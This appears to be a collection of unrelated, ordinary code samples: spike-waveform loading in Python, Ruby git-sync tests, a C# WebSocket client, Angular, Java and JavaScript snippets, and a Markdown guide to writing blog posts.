        peaks = np.argmax(wave, axis=0) + s_min
        # Peak values on each channel. shape: (nc,)
        peaks_values = data_t[peaks, np.arange(0, nc)] * masks_bin

        # Compute the float masks.
        masks_float = self._normalize(peaks_values)
        # Keep shank channels.
        masks_float = masks_float[channels]
        return masks_float

    def spike_sample_aligned(self, wave, comp):
        s_min, s_max = comp.s_min, comp.s_max
        # Compute the fractional peak.
        wave_n = self._normalize(wave)
        wave_n_p = np.power(wave_n, self._weight_power)
        u = np.arange(s_max - s_min)[:, np.newaxis]
        # Spike aligned time relative to the start of the chunk.
        s_aligned = np.sum(wave_n_p * u) / np.sum(wave_n_p) + s_min
        return s_aligned

    def extract(self, data, s_aligned, channels=None):
        s = int(s_aligned)
        # Get block of given size around peak sample.
        waveform = _get_padded(data,
                               s - self._extract_before - 1,
                               s + self._extract_after + 2)
        return waveform[:, channels]  # Keep shank channels.

    def align(self, waveform, s_aligned):
        s = int(s_aligned)
        sb, sa = self._extract_before, self._extract_after
        # Perform interpolation around the fractional peak.
        old_s = np.arange(s - sb - 1, s + sa + 2)
        new_s = np.arange(s - sb + 0, s + sa + 0) + (s_aligned - s)
        try:
            f = interp1d(old_s, waveform, bounds_error=True,
                         kind='cubic', axis=0)
        except ValueError:
            warn("Interpolation error at time {0:d}".format(s))
            return waveform
        return f(new_s)

    def set_thresholds(self, **kwargs):
        self._thresholds.update(kwargs)

    def __call__(self, component=None, data=None, data_t=None):
        assert data.shape == data_t.shape
        comp = self._component(component,
                               data=data,
                               n_samples=data_t.shape[0],
                               )
        channels = comp.channels

        wave = self._comp_wave(data_t, comp)
        masks = self.masks(data_t, wave, comp)
        s_aligned = self.spike_sample_aligned(wave, comp)

        waveform_unaligned = self.extract(data, s_aligned, channels=channels)
        waveform_aligned = self.align(waveform_unaligned, s_aligned)

        assert waveform_aligned.ndim == 2
        assert masks.ndim == 1
        assert waveform_aligned.shape[1] == masks.shape[0]

        return comp.group, s_aligned, waveform_aligned, masks

#------------------------------------------------------------------------------
# Waveform loader from traces (used in the manual sorting GUI)
#------------------------------------------------------------------------------

def _before_after(n_samples):
    """Get the number of samples before and after."""
    if not isinstance(n_samples, (tuple, list)):
        before = n_samples // 2
        after = n_samples - before
    else:
        assert len(n_samples) == 2
        before, after = n_samples
        n_samples = before + after
    assert before >= 0
    assert after >= 0
    assert before + after == n_samples
    return before, after

def _slice(index, n_samples, margin=None):
    """Return a waveform slice."""
    if margin is None:
        margin = (0, 0)
    assert isinstance(n_samples, (tuple, list))
    assert len(n_samples) == 2
    before, after = n_samples
    assert isinstance(margin, (tuple, list))
    assert len(margin) == 2
    margin_before, margin_after = margin
    before += margin_before
    after += margin_after
    index = int(index)
    before = int(before)
    after = int(after)
    return slice(max(0, index - before), index + after, None)

class WaveformLoader(object):
    """Load waveforms from filtered or unfiltered traces."""

    def __init__(self,
                 traces=None,
                 offset=0,
                 filter=None,
                 filter_margin=0,
                 n_samples=None,
                 channels=None,
                 scale_factor=None,
                 dc_offset=None,
                 ):
        # A (possibly memmapped) array-like structure with traces.
        if traces is not None:
            self.traces = traces
        else:
            self._traces = None
        self.dtype = np.float32
        # Scale factor for the loaded waveforms.
        self._scale_factor = scale_factor
        self._dc_offset = dc_offset
        # Offset of the traces: time (in samples) of the first trace sample.
        self._offset = int(offset)
        # List of channels to use when loading the waveforms.
        self._channels = channels
        # A filter function that takes a (n_samples, n_channels) array as
        # input.
        self._filter = filter
        # Number of samples to return, can be an int or a
        # tuple (before, after).
        if n_samples is None:
            raise ValueError("'n_samples' must be specified.")
        self.n_samples_before_after = _before_after(n_samples)
        self.n_samples_waveforms = sum(self.n_samples_before_after)
        # Number of additional samples to use for filtering.
        self._filter_margin = _before_after(filter_margin)
        # Number of samples in the extracted raw data chunk.
        self._n_samples_extract = (self.n_samples_waveforms +
                                   sum(self._filter_margin))

    @property
    def traces(self):
        """Raw traces."""
        return self._traces

    @traces.setter
    def traces(self, value):
        self.n_samples_trace, self.n_channels_traces = value.shape
        self._traces = value

    @property
    def channels(self):
        """List of channels."""
        return self._channels

    @channels.setter
    def channels(self, value):
        self._channels = value

    @property
    def n_channels_waveforms(self):
        """Number of channels kept for the waveforms."""
        if self._channels is not None:
            return len(self._channels)
        else:
            return self.n_channels_traces

    def _load_at(self, time):
        """Load a waveform at a given time."""
        time = int(time)
        time_o = time - self._offset
        ns = self.n_samples_trace
        if not (0 <= time_o < ns):
            raise ValueError("Invalid time {0:d}/{1:d}.".format(time_o,
                                                                ns))
        slice_extract = _slice(time_o,
                               self.n_samples_before_after,
                               self._filter_margin)
        extract = self._traces[slice_extract]

        # Pad the extracted chunk if needed.
        if slice_extract.start <= 0:
            extract = _pad(extract, self._n_samples_extract, 'left')
        elif slice_extract.stop >= ns - 1:
            extract = _pad(extract, self._n_samples_extract, 'right')

        assert extract.shape[0] == self._n_samples_extract

        # Filter the waveforms.
        # TODO: do the filtering in a vectorized way for higher performance.
        if self._filter is not None:
            waveforms = self._filter(extract)
        else:
            waveforms = extract

        # Remove the margin.
        margin_before, margin_after = self._filter_margin
        if margin_after > 0:
            assert margin_before >= 0
            waveforms = waveforms[margin_before:-margin_after, :]

        # Make a subselection with the specified channels.
        if self._channels is not None:
            out = waveforms[..., self._channels]
        else:
            out = waveforms

        assert out.shape == (self.n_samples_waveforms,
                             self.n_channels_waveforms)
        return out

    def __getitem__(self, item):
        """Load waveforms."""
        if isinstance(item, slice):
            raise NotImplementedError("Indexing with slices is not "
                                      "implemented yet.")
        if not hasattr(item, '__len__'):
            item = [item]
        # Ensure a list of time samples are being requested.
        spikes = _as_array(item)
        n_spikes = len(spikes)
        # Initialize the array.
        # TODO: int16
        shape = (n_spikes, self.n_samples_waveforms,
                 self.n_channels_waveforms)
        # No traces: return null arrays.
        if self.n_samples_trace == 0:
            return np.zeros(shape, dtype=self.dtype)
        waveforms = np.empty(shape, dtype=self.dtype)
        # Load all spikes.
        for i, time in enumerate(spikes):
            try:
                waveforms[i, ...] = self._load_at(time)
            except ValueError as e:
                warn("Error while loading waveform: {0}".format(str(e)))
        if self._dc_offset:
            waveforms -= self._dc_offset
        if self._scale_factor:
            waveforms *= self._scale_factor
        return waveforms

class SpikeLoader(object):
    """Translate selection with spike ids into selection with
    absolute times."""
    def __init__(self, waveforms, spike_samples):
        self._spike_samples = spike_samples
        # waveforms is a WaveformLoader instance
        self._waveforms = waveforms
        self.dtype = waveforms.dtype
        self.shape = (len(spike_samples),
                      waveforms.n_samples_waveforms,
                      waveforms.n_channels_waveforms)

    def __getitem__(self, item):
        times = self._spike_samples[item]
        return self._waveforms[times]


text:
require 'helper'

class TestChangeAgentSync < Minitest::Test

  def setup
    init_tempdir
    @client = ChangeAgent::Client.new tempdir
    @demo = ChangeAgent::Client.new tempdir, "http://github.com/benbalter/change_agent_demo"
  end

  def teardown
    FileUtils.rm_rf tempdir
  end

  should "return the remotes" do
    assert_equal Rugged::RemoteCollection, @client.remotes.class
  end

  should "add remotes" do
    assert_equal 0, @client.remotes.count
    @client.add_remote "origin", "https://github.com/benbalter/change_agent_demo"
    assert_equal 1, @client.remotes.count
  end

  should "know when the repo has remotes" do
    refute @client.has_remotes?
    @client.add_remote "origin", "https://github.com/benbalter/change_agent_demo"
    assert @client.has_remotes?
  end

  should "fetch" do
    @client.add_remote "origin", "https://github.com/benbalter/change_agent_demo"
    assert_raises Rugged::ReferenceError do
      @client.repo.rev_parse "origin/master"
    end
    @client.fetch
    assert @client.repo.rev_parse "origin/master"
  end

  should "merge" do
    head = @demo.repo.head.target.oid
    @demo.repo.reset "d877861", :hard
    assert @demo.merge
    assert_equal "Merged `origin/master` into `master`", @demo.repo.last_commit.message
    assert head != @demo.repo.head.target.oid
  end

  should "pull" do
    head = @demo.repo.head.target.oid
    @demo.repo.reset "d877861", :hard
    assert @demo.pull
    assert_equal "Merged `origin/master` into `master`", @demo.repo.last_commit.message
    assert head != @demo.repo.head.target.oid
  end

  should "init credentials" do
    ENV["GITHUB_TOKEN"] = "foo"
    assert_equal Rugged::Credentials::UserPassword, @client.credentials.class
    assert_equal "x-oauth-basic", @client.credentials.instance_variable_get("@username")
    assert_equal "foo", @client.credentials.instance_variable_get("@password")
  end
end


text:
using System;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Threading;

namespace Merlion.Client
{
	public class MerlionClient: MarshalByRefObject
	{
		WebSocket4Net.WebSocket socket;

		byte[] room;
		string hostName;
		int port;
		public string RequestedVersion { get; set; }

		public event EventHandler Connected;
		public event EventHandler Closed;
		public event EventHandler<ErrorEventArgs> Error;
		public event EventHandler<ReceiveEventArgs> Received;

		volatile bool opened = false;

		public MerlionClient (string addr)
		{
			var idx = addr.LastIndexOf (':');

			hostName = idx >= 0 ? addr.Substring(0, idx) : addr;
			port = idx >= 0 ? int.Parse (addr.Substring(idx + 1)) : 16070;

			RequestedVersion = "%";
		}

		public void SetRoom(byte[] room)
		{
			this.room = room == null ? null : (byte[])room.Clone ();
		}

		public byte[] GetRoom()
		{
			return this.room == null ? null : (byte[])this.room.Clone ();
		}

		public void Connect()
		{
			string absPath = string.Format ("/{0}/{1}", RequestedVersion,
				room != null ? Merlion.Utils.HexEncoder.GetString(room) : "");
			string url = string.Format ("wss://{0}:{1}{2}", hostName, port, absPath);

			var s = new WebSocket4Net.WebSocket (url, "merlion.yvt.jp", WebSocket4Net.WebSocketVersion.Rfc6455);
			if (Interlocked.Exchange(ref socket, s) != null) {
				throw new InvalidOperationException ("Socket is already open.");
			}

			s.Opened += (sender, e) => {
				opened = true;

				var handler = Connected;
				if (handler != null)
					handler(this, EventArgs.Empty);
			};
			s.Closed += (sender, e) => {
				opened = false;

				var handler = Closed;
				if (handler != null)
					handler(this, EventArgs.Empty);
			};
			s.Error += (sender, e) => {
				Interlocked.CompareExchange(ref socket, null, s);

				var handler = Error;
				if (handler != null)
					handler(this, new ErrorEventArgs(e.Exception));
			};
			s.DataReceived += (sender, e) => {
				var handler = Received;
				if (handler != null)
					handler(this, new ReceiveEventArgs(e.Data));
			};
			s.Open ();
		}

		public void Close()
		{
			var s = Interlocked.Exchange (ref socket, null);
			if (s != null) {
				try { s.Close (); } catch(Exception) { ; }
			}
		}

		// FIXME: how to make this synchronous?
		public void Send(byte[] data, int offset, int length)
		{
			if (data == null)
				throw new ArgumentNullException ("data");
			var s = socket;
			if (s == null) {
				throw new InvalidOperationException ("Socket is closed.");
			} else {
				s.Send (data, offset, length);
			}
		}

		public void Send(byte[] data)
		{
			if (data == null)
				throw new ArgumentNullException ("data");
			Send (data, 0, data.Length);
		}
	}

	public class ErrorEventArgs: EventArgs
	{
		public Exception Exception { get; private set; }
		public ErrorEventArgs(Exception e)
		{
			Exception = e;
		}
	}

	public class ReceiveEventArgs: EventArgs
	{
		public byte[] Data { get; private set; }
		public ReceiveEventArgs(byte[] data)
		{
			Data = data;
		}
	}
}


text:
module Voucherify
  module Service
    class Events
      attr_reader :client

      def initialize(client)
        @client = client
      end

      def track(event, metadata, customer, referral = nil)
        @client.post('/events', {
            :event => event,
            :metadata => metadata,
            :customer => customer,
            :referral => referral
        }.to_json)
      end

      def track_event(event)
        @client.post('/events', event.to_json)
      end
    end
  end
end


text:
using Microsoft.Owin;
using Owin;
using WebApiPlayPen.Api;

[assembly: OwinStartup(typeof(Startup))]

namespace WebApiPlayPen.Api
{
    public partial class Startup
    {
        public void Configuration(IAppBuilder app)
        {
            ConfigureAuth(app);
        }
    }
}


text:
@implementation Teacher

@end


text:
'use strict';

var _ = require('underscore');

var AppDispatcher = require('../dispatcher/app_dispatcher');

var firebaseRef = require('../firebase_connection.js');

var MessageTypes = require('../constants/message_types');

// TODO: move the dispatcher to its own file
var MessageDispatcher = {
  dispatch: function(ref, message) {
    ref.push(_.extend(message, {
      from: firebaseRef.getAuth().uid,
      createdAt: Firebase.ServerValue.TIMESTAMP
    }));
  }
};

module.exports = {
  createTextMessage: function(ref, text) {
    MessageDispatcher.dispatch(ref, {
      type: MessageTypes.TEXT,
      text: text
    });
  },
  createNewMove: function(ref, move) {
    MessageDispatcher.dispatch(ref, _.extend(move, {
      type: MessageTypes.MOVE
    }));
  }

};


text:
import {
  Directive,
  ElementRef,
  Input,
  OnInit,
  OnChanges,
  Inject,
  Optional,
  PLATFORM_ID,
} from '@angular/core';
import {isPlatformServer} from '@angular/common';
import {
  BaseDirective,
  MediaMonitor,
  SERVER_TOKEN,
  StyleUtils,
} from '@angular/flex-layout/core';

/**
 * This directive provides a responsive API for the HTML  'src' attribute
 * and will update the img.src property upon each responsive activation.
 *
 * e.g.
 *
 *
 * @see https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-src/
 */
@Directive({
  selector: `
  img[src.xs],    img[src.sm],    img[src.md],    img[src.lg],   img[src.xl],
  img[src.lt-sm], img[src.lt-md], img[src.lt-lg], img[src.lt-xl],
  img[src.gt-xs], img[src.gt-sm], img[src.gt-md], img[src.gt-lg]
`
})
export class ImgSrcDirective extends BaseDirective implements OnInit, OnChanges {

  /* tslint:disable */
  @Input('src')        set srcBase(val) { this.cacheDefaultSrc(val);           }

  @Input('src.xs')     set srcXs(val)   { this._cacheInput('srcXs', val);  }
  @Input('src.sm')     set srcSm(val)   { this._cacheInput('srcSm', val);  }
  @Input('src.md')     set srcMd(val)   { this._cacheInput('srcMd', val);  }
  @Input('src.lg')     set srcLg(val)   { this._cacheInput('srcLg', val);  }
  @Input('src.xl')     set srcXl(val)   { this._cacheInput('srcXl', val);  }

  @Input('src.lt-sm')  set srcLtSm(val) { this._cacheInput('srcLtSm', val);  }
  @Input('src.lt-md')  set srcLtMd(val) { this._cacheInput('srcLtMd', val);  }
  @Input('src.lt-lg')  set srcLtLg(val) { this._cacheInput('srcLtLg', val);  }
  @Input('src.lt-xl')  set srcLtXl(val) { this._cacheInput('srcLtXl', val);  }

  @Input('src.gt-xs')  set srcGtXs(val) { this._cacheInput('srcGtXs', val);  }
  @Input('src.gt-sm')  set srcGtSm(val) { this._cacheInput('srcGtSm', val);  }
  @Input('src.gt-md')  set srcGtMd(val) { this._cacheInput('srcGtMd', val);  }
  @Input('src.gt-lg')  set srcGtLg(val) { this._cacheInput('srcGtLg', val);  }
  /* tslint:enable */

  constructor(protected _elRef: ElementRef,
              protected _monitor: MediaMonitor,
              protected _styler: StyleUtils,
              @Inject(PLATFORM_ID) protected _platformId: Object,
              @Optional() @Inject(SERVER_TOKEN) protected _serverModuleLoaded: boolean) {
    super(_monitor, _elRef, _styler);
    this._cacheInput('src', _elRef.nativeElement.getAttribute('src') || '');
    if (isPlatformServer(this._platformId) && this._serverModuleLoaded) {
      this.nativeElement.setAttribute('src', '');
    }
  }

  /**
   * Listen for responsive changes to update the img.src attribute
   */
  ngOnInit() {
    super.ngOnInit();

    if (this.hasResponsiveKeys) {
      // Listen for responsive changes
      this._listenForMediaQueryChanges('src', this.defaultSrc, () => {
        this._updateSrcFor();
      });
    }
    this._updateSrcFor();
  }

  /**
   * Update the 'src' property of the host  element
   */
  ngOnChanges() {
    if (this.hasInitialized) {
      this._updateSrcFor();
    }
  }

  /**
   * Use the [responsively] activated input value to update
   * the host img src attribute or assign a default `img.src=''`
   * if the src has not been defined.
   *
   * Do nothing to standard `<img src="">` usages, only when responsive
   * keys are present do we actually call `setAttribute()`
   */
  protected _updateSrcFor() {
    if (this.hasResponsiveKeys) {
      let url = this.activatedValue || this.defaultSrc;
      if (isPlatformServer(this._platformId) && this._serverModuleLoaded) {
        this._styler.applyStyleToElement(this.nativeElement, {'content': url ? `url(${url})` : ''});
      } else {
        this.nativeElement.setAttribute('src', String(url));
      }
    }
  }

  /**
   * Cache initial value of 'src', this will be used as fallback when breakpoint
   * activations change.
   * NOTE: The default 'src' property is not bound using @Input(), so perform
   * a post-ngOnInit() lookup of the default src value (if any).
   */
  protected cacheDefaultSrc(value?: string) {
    this._cacheInput('src', value || '');
  }

  /**
   * Empty values are maintained, undefined values are exposed as ''
   */
  protected get defaultSrc(): string {
    return this._queryInput('src') || '';
  }

  /**
   * Does the  have 1 or more src.<xxx> responsive inputs
   * defined... these will be mapped to activated breakpoints.
   */
  protected get hasResponsiveKeys() {
    return Object.keys(this._inputMap).length > 1;
  }

}


text:
package com.java110.intf.fee;

import com.java110.config.feign.FeignConfiguration;
import com.java110.dto.applyRoomDiscount.ApplyRoomDiscountDto;
import com.java110.po.applyRoomDiscount.ApplyRoomDiscountPo;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

import java.util.List;

/**
 * @ClassName IApplyRoomDiscountInnerServiceSMO
 * @Description 房屋折扣申请接口类
 * @Author wuxw
 * @Date 2019/4/24 9:04
 * @Version 1.0
 * add by wuxw 2019/4/24
 **/
@FeignClient(name = "${java110.fee-service}", configuration = {FeignConfiguration.class})
@RequestMapping("/applyRoomDiscountApi")
public interface IApplyRoomDiscountInnerServiceSMO {

    @RequestMapping(value = "/saveApplyRoomDiscount", method = RequestMethod.POST)
    public int saveApplyRoomDiscount(@RequestBody ApplyRoomDiscountPo applyRoomDiscountPo);

    @RequestMapping(value = "/updateApplyRoomDiscount", method = RequestMethod.POST)
    public int updateApplyRoomDiscount(@RequestBody ApplyRoomDiscountPo applyRoomDiscountPo);

    @RequestMapping(value = "/deleteApplyRoomDiscount", method = RequestMethod.POST)
    public int deleteApplyRoomDiscount(@RequestBody ApplyRoomDiscountPo applyRoomDiscountPo);

    /**
     *
查询小区楼信息

     *
     * @param applyRoomDiscountDto 数据对象分享
     * @return ApplyRoomDiscountDto 对象数据
     */
    @RequestMapping(value = "/queryApplyRoomDiscounts", method = RequestMethod.POST)
    List<ApplyRoomDiscountDto> queryApplyRoomDiscounts(@RequestBody ApplyRoomDiscountDto applyRoomDiscountDto);

    /**
     * 查询最新添加的符合条件的优惠申请信息
     *
     * @param applyRoomDiscountDto
     * @return
     * @author fqz
     */
    @RequestMapping(value = "/queryFirstApplyRoomDiscounts", method = RequestMethod.POST)
    List<ApplyRoomDiscountDto> queryFirstApplyRoomDiscounts(@RequestBody ApplyRoomDiscountDto applyRoomDiscountDto);

    /**
     * 查询
小区楼
总记录数
     *
     * @param applyRoomDiscountDto 数据对象分享
     * @return 小区下的小区楼记录数
     */
    @RequestMapping(value = "/queryApplyRoomDiscountsCount", method = RequestMethod.POST)
    int queryApplyRoomDiscountsCount(@RequestBody ApplyRoomDiscountDto applyRoomDiscountDto);
}


text:
Title: How to Create a Blog Post
Date: 2016-10-16 10:28
Author: Steve Gregg
Category: General
Tags: blog

There are two ways to create a new blog post here at Python Monthly. The first and easiest way is to use our Python Script, 'new_post.py'. This method does require that you have Python 3 installed and have downloaded or cloned the 'Python-Monthly-Website' repository. First navigate to the root of the 'Python-Monthly-Website' folder from the command line, call the script and pass your blog post title as an argument as shown below

`$ python new_post.py "My new blog post title"`

This generates a file in the 'content' folder with the date and blog post title (2016_10_16_my-new-blog-post-title.md). Open the file in your favorite text editor. The file should contain the following

```
Title: My new blog post title
Date: 2016-10-16 10:28
Author:
Category:
Tags:
```

Add your name to the 'author' field and also fill in the 'Category' and 'Tags' fields. Below these headers, you may begin the body of your post.

The second way to create a blog post is to manually do what the Python script does, ie launch your favorite text editor and paste the following text

```
Title: My new blog post title
Date: 2016-10-16 10:28
Author:
Category:
Tags:
```

Just as the first method above, add your name to the 'author' field and also fill in the 'Category' and 'Tags' fields. You may then begin the body of your post below the headers.

### Things to note:###

* The time in the 'Date' field is optional
* The 'Category' field is used to categorize posts by topic. If you are unsure of a category, you can use the 'General' category
* The 'Tags' field is also optional and is used to tag your post with keywords.